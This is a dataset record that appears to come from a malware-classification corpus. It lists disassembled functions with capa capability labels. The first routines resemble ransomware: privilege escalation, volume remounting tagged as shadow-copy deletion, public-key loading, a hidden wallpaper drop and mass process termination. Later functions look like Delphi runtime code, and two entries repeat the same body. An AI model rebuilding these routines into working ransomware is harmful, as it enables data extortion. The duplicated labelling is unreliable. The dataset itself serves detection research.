joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4030a0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push str.SetPrivilegeEx
call fcn.00402d80
add esp, 4
mov dword [ebp - 0x1c], str.SeDebugPrivilege
mov dword [ebp - 0x18], str.SeRestorePrivilege
xor esi, esi
mov dword [ebp - 0x14], str.SeBackupPrivilege
mov dword [ebp - 0x10], str.SeTakeOwnershipPrivilege
mov dword [ebp - 0xc], str.SeAuditPrivilege
mov dword [ebp - 8], str.SeSecurityPrivilege
mov dword [ebp - 4], str.SeIncreaseBasePriorityPrivilege
mov ecx, dword [ebp + esi*4 - 0x1c]
call fcn.00402fe0
inc esi
cmp esi, 7
jb 0x4030e7
push str.return_SetPrivilegeEx
call fcn.00402d80
add esp, 4
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x403110
Capabilities:
Delete volume shadow copies
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x284
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.hidden_partitions
call fcn.00402d80
mov ebx, dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
add esp, 4
xor edi, edi
mov esi, 0x41ea38
mov dword [ebp - 0x214], edi
push dword [esi]
call ebx
cmp eax, 1
jne 0x403159
mov eax, dword [esi]
mov dword [ebp + edi*4 - 0x280], eax
inc edi
add esi, 4
cmp esi, 0x41eaa0
jl 0x403146
mov esi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
xor eax, eax
mov word [ebp - 0x210], ax
push 0x10040
push 8
push dword [0x43fb14]
call esi
mov ebx, eax
test ebx, ebx
je 0x403173
nop dword [eax + eax]
push 0x10040
push 8
push dword [0x43fb14]
call esi
mov dword [ebp - 0x218], eax
test eax, eax
je 0x403190
push 0x8000
push ebx
call dword [sym.imp.KERNEL32.DLL_FindFirstVolumeW]
mov esi, eax
cmp esi, 0xffffffff
je 0x403267
test edi, edi
je 0x40321c
lea eax, [ebp - 0x214]
push eax
push 0x78
lea eax, [ebp - 0x210]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x4031fc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
cmp eax, 3
jne 0x4031fc
xor eax, eax
mov word [ebp - 0x210], ax
jmp 0x40320b
dec edi
push ebx
push dword [ebp + edi*4 - 0x280]
call dword [sym.imp.KERNEL32.DLL_SetVolumeMountPointW]
push 0x8000
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeW]
test eax, eax
jne 0x4031c0
push esi
call dword [sym.imp.KERNEL32.DLL_FindVolumeClose]
push dword [ebp - 0x218]
mov esi, dword [sym.imp.KERNEL32.DLL_HeapFree]
push 0
push dword [0x43fb14]
call esi
push ebx
push 0
push dword [0x43fb14]
call esi
push str.return_hidden_partitions
call fcn.00402d80
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.FindFirstVolumeW_ERROR___lu
call fcn.00402d80
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
or eax, 0xffffffff
pop edi
pop esi
pop ebx
call fcn.004052f0
mov esp, ebp
pop ebp
ret
Function at 0x403290
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push esi
push str.GetCryptoProvider
call fcn.00402d80
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
add esp, 4
push 0xf0000000
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
push 0
push 0x43e0b4
call esi
test eax, eax
je 0x4032c4
mov eax, 1
pop esi
ret
push 0xf0000008
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
push 0
push 0x43e0b4
call esi
test eax, eax
jne 0x4032bd
push 0xf0000000
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_
push eax
push 0x43e0b4
call esi
test eax, eax
jne 0x4032bd
push 0xf0000008
push 0x18
push str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider__Prototype_
push eax
push 0x43e0b4
call esi
pop esi
ret

Function at 0x403310
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.LoadKey
call fcn.00402d80
mov edi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
add esp, 4
nop word [eax + eax]
push 0x154
push 8
push dword [0x43fb14]
call edi
mov esi, eax
test esi, esi
je 0x403340
push 0x41f230
push 0x43fb18
call fcn.004090dd
add esp, 8
test eax, eax
jne 0x403385
push 0x41f230
push 0x43e0c8
call fcn.004090dd
add esp, 8
test eax, eax
je 0x403426
push eax
call fcn.00406e1d
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateFileW]
add esp, 4
push 0
push 0
push 3
push 0
push 0
push SysReAllocString
push 0x43fb18
call ebx
mov edi, eax
test edi, edi
jne 0x4033cf
push eax
push eax
push 3
push eax
push eax
push SysReAllocString
push 0x43e0c8
call ebx
mov edi, eax
test edi, edi
jne 0x4033cf
push str.Cannot_Open_PubKey_File
jmp 0x40342b
push 0
lea eax, [ebp - 8]
push eax
push 0x114
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
jne 0x4033ed
push str.Cannot_read_PubKey_File
jmp 0x40342b
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push edi
call ebx
push 0x43e44c
push 0
push 0
push 0x114
push esi
push dword [0x43e0b4]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x40341c
push str.Import_Clienet_PubKey_failed__
jmp 0x40342b
push edi
call ebx
mov edi, 1
jmp 0x403435
push str.Cannot_Find_PubKey_File
call fcn.00402d80
add esp, 4
xor edi, edi
push esi
push 0
push dword [0x43fb14]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
push str.return_LoadKey
call fcn.00402d80
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, edi
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004052f0
mov esp, ebp
pop ebp
ret
Function at 0x404120
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push str.CreateResource
call fcn.00402d80
add esp, 4
mov dword [ebp - 8], 0
push 0x41f230
push str.C:ProgramDataRisenBackGround.JPG
call fcn.004090dd
add esp, 8
test eax, eax
je 0x404178
push eax
call fcn.00406e1d
add esp, 4
mov eax, 1
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push str.C:ProgramDataRisenBackGround.JPG
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
test esi, esi
jne 0x4041be
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.Cannot_Write_Background_File._GetLastError_:__lu
call fcn.00402d80
add esp, 8
lea eax, [esi + 1]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004052f0
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 8]
push eax
push 0x7f96
push 0x42ca48
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x4041ed
call dword [sym.imp.KERNEL32.DLL_GetLastError]
push eax
push str.Cannot_Write_data_to_Background_File._GetLastError_:__lu
call fcn.00402d80
add esp, 8
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 6
push str.C:ProgramDataRisenBackGround.JPG
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
pop esi
call fcn.004052f0
mov esp, ebp
pop ebp
ret
Function at 0x404b90
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push str.AutoKillProcess
call fcn.00402d80
add esp, 4
push 0x41
push str.Count_proccess_:__d
call fcn.00402d80
add esp, 8
push 0
push 0xf
call dword [sym.imp.KERNEL32.DLL_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x238], 0x22c
lea eax, [ebp - 0x238]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_Process32FirstW]
test eax, eax
je 0x404c7c
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcmpW]
lea eax, [ebp - 0x214]
push eax
push str.proccess_:__s
call fcn.00402d80
add esp, 8
xor esi, esi
nop word [eax + eax]
lea eax, [ebp - 0x214]
push eax
push dword [esi*4 + 0x41ecd0]
call edi
test eax, eax
je 0x404c2c
inc esi
cmp esi, 0x41
jb 0x404c10
jmp 0x404c66
push dword [esi*4 + 0x41ecd0]
push str.kill_:__s
call fcn.00402d80
add esp, 8
push dword [ebp - 0x230]
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x404c66
push 9
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x238]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_Process32NextW]
test eax, eax
jne 0x404bf4
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push str.return_AutoKillProcess
call fcn.00402d80
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004052f0
mov esp, ebp
pop ebp
ret
Function at 0x40edaf
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040ea6f
Function at 0x403374
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x4033b0
movzx eax, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x4033d0
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00405b04
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x403668
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00405894
test esi, esi
jne 0x40369e
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00405984
jmp 0x4036bc
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.0040350c
mov edi, eax
test esi, esi
je 0x4036bc
cmp dword [ebx], 0
je 0x4036bc
dec esi
jmp 0x4036a5
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4036f0
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x472008], 0x8088405
inc edx
mov dword [ebx + 0x472008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4047b4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x472024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40484c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40482c
xor eax, eax
push ebp
push 0x404825
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x404868
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40482c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
movzx eax, word [0x472024]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x472024], ax
mov esp, ebp
pop ebp
ret

Function at 0x405660
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x476048], 0
je 0x4056c1
cmp word [0x47621c], 0xd7b2
jne 0x405689
cmp dword [0x476224], 0
jbe 0x405689
mov eax, 0x476218
call dword [0x476234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4056e8
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x472030], 0
jne 0x4056dd
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x405818
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 4], edx
mov edi, eax
mov esi, dword [ebp + 0x10]
cmp dword [0x472038], 0
je 0x40583e
mov edx, esi
mov eax, ebx
call dword [0x472038]
jmp 0x40584d
mov eax, 8
call fcn.004030cc
mov dword [eax], ebx
mov dword [eax + 4], esi
mov byte [0x476049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x4057e0
push eax
mov eax, dword [ebp - 4]
push eax
push edi
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc
Function at 0x40705c
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40728c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4070df
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40728c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4070df
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4072a8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x407168
xor eax, eax
push ebp
push 0x407161
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00406e98
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x407146
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4072c8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x407146
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407168
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x407282
cmp byte [ebp - 0xd], 0
jne 0x4071af
cmp byte [ebp - 0x12], 0
je 0x407282
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4071c8
dec ebx
cmp byte [ebx], 0x2e
je 0x4071d7
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4071c7
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x407282
inc ebx
cmp byte [ebp - 0x12], 0
je 0x407214
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x407282
cmp byte [ebp - 0xd], 0
je 0x407282
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x407282
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407168
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40728c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4070df
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x40728c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x4070df
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4072a8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x407168
xor eax, eax
push ebp
push 0x407161
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00406e98
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x407146
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4072c8
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x407146
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407168
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x407282
cmp byte [ebp - 0xd], 0
jne 0x4071af
cmp byte [ebp - 0x12], 0
je 0x407282
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x4071c8
dec ebx
cmp byte [ebx], 0x2e
je 0x4071d7
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x4071c7
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x407282
inc ebx
cmp byte [ebp - 0x12], 0
je 0x407214
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x407282
cmp byte [ebp - 0xd], 0
je 0x407282
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x407282
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40b0d8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x40b12a
test eax, edx
je 0x40b12d
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x40b0ed
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x40b113
add ecx, 4
js 0x40b103
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x40b110
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x40b139
test edx, edx
jne 0x40b0e0
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x40b980
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405d24
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40b999
test al, 0x10
je 0x40b99d
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40b9a4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00405d24
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40b9bd
test al, 0x10
jne 0x40b9c1
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40e60c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40e645
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00405984
jmp 0x40e64e
mov eax, ebx
mov edx, esi
call fcn.004058e8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40e658
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40e67a
movzx eax, byte [esp]
jmp 0x40e67c
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40ed0c
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40eb84
mov eax, dword [0x475754]
cmp byte [eax], 0
je 0x40ed88
mov eax, dword [0x475548]
call fcn.00403b00
call fcn.00403298
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040bca0
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40edd0
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40edbe
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4754f0]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4787f4]
call fcn.00406e40
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret

Function at 0x40f634
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40f70a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.0040592c
lea eax, [ebp - 4]
call fcn.00405d7c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405d24
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40f6f4
mov eax, ebx
call fcn.004030cc
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40f6ed
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405d24
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40f6d7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40f71c
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40f6d7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f6f4
mov eax, dword [ebp - 0x10]
call fcn.004030e8
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40f711
lea eax, [ebp - 4]
call fcn.00405894
ret

Function at 0x41e634
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + 0xe]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x41e682
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xe], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.0041e370
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41e69b
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret